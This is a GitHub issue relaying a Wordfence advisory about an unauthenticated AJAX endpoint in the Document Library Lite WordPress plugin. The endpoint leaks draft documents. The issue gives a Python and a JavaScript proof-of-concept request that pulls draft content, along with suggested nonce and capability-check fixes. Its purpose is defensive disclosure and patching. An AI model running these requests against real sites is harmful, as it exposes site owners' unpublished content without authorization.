Skip to content

Missing Authorization to Sensitive Information Exposure #13

@alessandrotesoro

Description

@alessandrotesoro

Full description

This is the report Wordfence has provided us:


Description:
The Document Library Lite plugin for WordPress is vulnerable to Improper Authorization in all versions up to, and including, 1.1.5. This is due to the plugin exposing an unauthenticated AJAX action dll_load_posts which returns a JSON table of document data without performing nonce or capability checks. The handler accepts an attacker-controlled args array where the status option explicitly allows draft, pending, future, and any. This makes it possible for unauthenticated attackers to retrieve unpublished document titles and content via the AJAX endpoint.

References:
plugins.trac.wordpress.org
plugins.trac.wordpress.org
plugins.trac.wordpress.org

Proof of Concept:
The researcher has provided instructions for their Proof of Concept below:

import requests

Target WordPress site running Document Library Lite
target_url = "http://example.com/wp-admin/admin-ajax.php"

Create a request to access draft documents
data = {
'action': 'dll_load_posts',
'args[status]': 'draft',
'args[lazy_load]': 'true',
'args[rows_per_page]': '50',
'args[columns]': 'id,title,content,link'
}

response = requests.post(target_url, data=data)
print("Response:", response.text)

Expected output: JSON containing draft document data
{"draw":1,"recordsTotal":1,"recordsFiltered":1,"data":[{"id":42,"title":"Draft Doc PoC","content":"SECRET: draft-only content..."}]}

Recommended Developer Solution

The following is one possible recommended solution, provided by our Threat Intelligence Team. You, and your software developers, can use this to guide the development of a patch for this vulnerability.

  1. Remove unauthenticated access: Remove the wp_ajax_nopriv_dll_load_posts action registration on line 23.
  2. Add capability checks: Implement proper authorization in the load_posts() method:
public function load_posts() {
    // Add nonce verification
    if ( ! wp_verify_nonce( $_POST['nonce'], 'dll_load_posts_nonce' ) ) {
        wp_die( 'Security check failed' );
    }

    // Add capability check for accessing draft content
    if ( isset( $_POST['args']['status'] ) && $_POST['args']['status'] !== 'publish' ) {
        if ( ! current_user_can( 'edit_posts' ) ) {
            wp_die( 'Insufficient permissions' );
        }
    }

    $args = Options::handle_shortcode_attribute_aliases( $_POST[ 'args' ] );
    // ... rest of method
}
  1. Restrict status for unauthenticated users: Force status='publish' for unauthenticated requests:
// In validate_options method, add:
if ( ! is_user_logged_in() ) {
    $args['status'] = 'publish';
}

An easier way to replicate the issue is:

  • Enable DLL
  • Create draft post
  • Enable lazy load
  • Visit the document library page
  • Open the browser console and paste this:
const targetUrl = "http://barn2.test/wp-admin/admin-ajax.php";

const data = new URLSearchParams();
data.append('action', 'dll_load_posts');
data.append('args[status]', 'draft');
data.append('args[lazy_load]', 'true');
data.append('args[rows_per_page]', '50');
data.append('args[columns]', 'id,title,content,link');

fetch(targetUrl, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: data.toString(),
})
  .then(response => response.text())
  .then(text => console.log("Response:", text))
  .catch(err => console.error("Error:", err));

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions